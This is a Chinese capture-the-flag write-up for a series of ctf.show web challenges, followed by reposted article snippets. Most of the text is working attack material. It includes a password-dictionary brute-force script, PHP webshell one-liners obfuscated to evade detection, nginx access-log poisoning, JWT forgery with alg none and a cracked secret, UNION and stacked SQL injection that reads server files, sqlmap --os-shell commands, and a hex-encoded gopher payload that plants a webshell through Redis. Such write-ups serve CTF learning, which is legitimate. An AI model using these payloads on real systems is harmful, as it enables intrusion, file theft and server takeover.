扫目录,存在page.php
访问发现报错,$id参数,可能存在文件包含
/page.php?id=flag
page.php已经无法文件包含
看源码有一个可疑的路径
访问这个目录,最后注意一定要带上/
上题的/alsckdfy/
目录访问之后是个登录界面
burp抓包爆破就行了,p字段,这些都可以拿到flag
提示:密码前2位是小写字母,后三位是数字
这肯定是后台密码了,而账户先盲猜admin
抓包使用intruder模块暴力破解
position只要有两个变量就可以
第一个变量-两位小写的英文字母
第二个变量-三位数字
也可以用脚本生成一个字典
import strings1=string.ascii_lowercases2=string.digitsf=open("dict.txt","w")for i in s1: for j in s1: for k in s2: for l in s2: for m in s2: p=i+j+k+l+m f.write(p+"/n")f.close()
爆破的时候可以把现成池调的高一点,爆的快一点
1/676000,账号是admin,密码是xy123
扫目录发现install
后台登录,默认账号就是之前几个题都用的账号admin密码admin888
存在install页面
还存在一个clear.php页面,访问显示清理完成(一开始用的字典里没有,看了羽师傅的wp,手中常备超大字典啊)
盲猜一波file参数,删个index.php试试
删除文件锁
/clear.php?file=install/lock.dat
再次访问install,重置密码
提示:前面部分和386一样
扫目录发现robots.txt,提示:disallow:/debug
,当然debug目录扫目录也是可以扫到的
需要传入file参数,和上题一样盲猜,反正我是没猜出来看的wp,还是做的题少
直接访问flag.php发现不行
可以通过包含日志文件/var/log/nginx/access.log
,getshell
这种方法会报错,而且这是文件包含,写shell也不好传参,不如直接执行命令
方法一:删除文件锁登录后台
unlink("/var/www/html/install/lock.dat")?>
再去访问/install/?install
重新安装,然后登录后台
方法二:执行命令读取文件
访问日志文件写入命令,访问的同时命令也就执行了
system("ls /var/www/html > /var/www/html/1.txt");?>
再去访问生成的文件
flag在alsckdfy/check.php
同样先去包含日志文件同时执行命令
debug访问已经变成了一句提示
回到后台目录alsckdfy
找线索,爆破目录发现/alsckdfy/editor/
目录,是一个文本编辑器,并且存在文件上传点,可以上传图片、zip、rar、html、ppt等一些文件
因为允许上传zip文件,写个一句话把后缀改为zip即可
$a = "."p ev"."al($_PO"."ST[1]);?>";file_put_contents("/var/www/html/1.php",$a);?># 起到免杀效果
上传zip一句话木马
上传成功后会提示上传的路径
再去包含文件/debug/?file=/var/www/html/alsckdfy/attached/file/20211006/20211006093704_45260.zip
此时文件内容已经被读取写入日志了,再去包含日志文件/debug/?file=/var/log/nginx/access.log
,写入的shell就执行了,生成1.php,访问执行拿到flag
方法二:包含日志写入shell
ua就是一句话木马,最好是免杀的一句话
然后再访问一次/debug/?file=/var/log/nginx/access.log
,就会生成shell
访问debug显示权限不足,f12发现cookie多了auth字段判断权限,而且采用jwt,用jwt.io解密,sub改为admin,因为采用了HS256加密需要找secret,secret可以爆破就是123456
把jwt字符串复制到cookie中,刷新页面提示file not exist
剩下的就和上题一模一样了
再次访问1.php执行命令就行了,另一种方法也是可以的
首页的功能点,发现有传参,估计存在SQL注入
输入单引号没反应判断存在数字型注入
手注:
page.php?id=1 union select 1,(select group_concat(username) from admin_user),(substr((select load_file("/var/www/html/alsckdfy/check.php")),1,255)) limit 1,1#
浏览器看源码就行,看了师傅们的语句,这个注入手法真的行
sqlmap:
python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
方法二:改jwt加密方法
poc
# python2import jwt# payloadtoken_dict = { "iss": "admin", "iat": 1633525507, "exp": 1633532707, "nbf": 1633525507, "sub": "admin", "jti": "5d6279b30cda4893390547dd90151a0a"}# headersheaders = { "alg": "none", "typ": "JWT" } jwt_token = jwt.encode(token_dict, key="",headers=headers, algorithm="none") print(jwt_token)
记得更改iat、exp、nbf、jti,将生成成功的jwt字符串复制到浏览器中刷新页面,剩下的就和之前一样了
发现页面功能多了一个输入框
同样存在注入
/search.php?title=aa" union select 1,substr((select load_file("/var/www/html/alsckdfy/check.php")),1,255),3 limit 0,1%23# sqlmappython sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch
web392只不过是换了flag的位置
search.php?title=aa%27%20union%20select%201,substr((select%20load_file(%27/flag%27)),1,255),3%20limit%200,1%23#sqlmappython sqlmap.py -u http://175efaca-626f-46a6-bffffd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
也可以用389的方法
在主页最下方发现搜索引擎功能
后台应该是根据这里传入的id值到数据库中查询url,然后访问url,返回访问结果,存在ssrf
先用sqlmap跑出来数据库的表名和列名
利用堆叠注入插入数据
search.php?title=1";insert into link values(10,"a","file:///flag");
然后访问link.php?id=10
和上题一样只不过需要16进制绕过
search.php?title=1";insert into link values(10,"a",0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
非预期解
攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:search.php?title=1";alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧search.php?title=1";insert into link values(11,"a",0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11就会生成abc.php 密码是1
https://blog.csdn.net/miuzzx/article/details/112522873
http://39.105.134.199/2021/07/29/7734.html
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/121741.html
摘要:基础服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。可以先截获请求包和请求包,再构造成符合协议的请求。该标志接受和值。 SSRF基础 SSRF...
摘要:全部题都是框架漏洞是用语言编写的一个基于设计模式的应用框架关于漏洞,都有环境并且给出了漏洞原理和项目地址判断网站是否基于的方法链接通过页面回显的错误消息来判断,页面不回显错误消息时则无效通过网页后缀来判断,如,有可能不 ...
摘要:非反序列化简单审计这个题是搞笑的么按着源码顺序走一遍接受两个参数生成对象调用函数函数伪造请求需要伪造头这题和反序列化没关系。。。如果存在该方法将在任何序列化之前优先执行。 ...
JWT JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔 HeaderPayloadSignature header示例 { 'typ': 'JWT', 'alg': 'HS256'}# typÿ...
摘要:近日施耐德电气爆出的漏洞,首先得到了一个本地包含,在这里作为靶目标使用。配置文件中获得了错误日志的路径,且关闭了访问日志。利用思路整理那么我们可以利用错误日志来构造合法的代码,从而利用包含漏洞。了解何时会向错误日志写入内容。 0前言 在WEB渗透测试中尤其是PHP,经常会挖到LFI漏洞,想要GETSHELL,但无奈没有文件上传的途径,这里给一个思路,抛砖引玉。 近日施耐德电气爆出的漏洞...
阅读 1897·2021-11-11 16:55
阅读 2970·2021-10-11 10:58
阅读 3481·2021-10-08 10:04
阅读 2806·2021-09-13 10:28
阅读 3752·2021-07-26 23:57
阅读 766·2019-08-30 15:56
阅读 1223·2019-08-29 13:15
阅读 1125·2019-08-26 18:18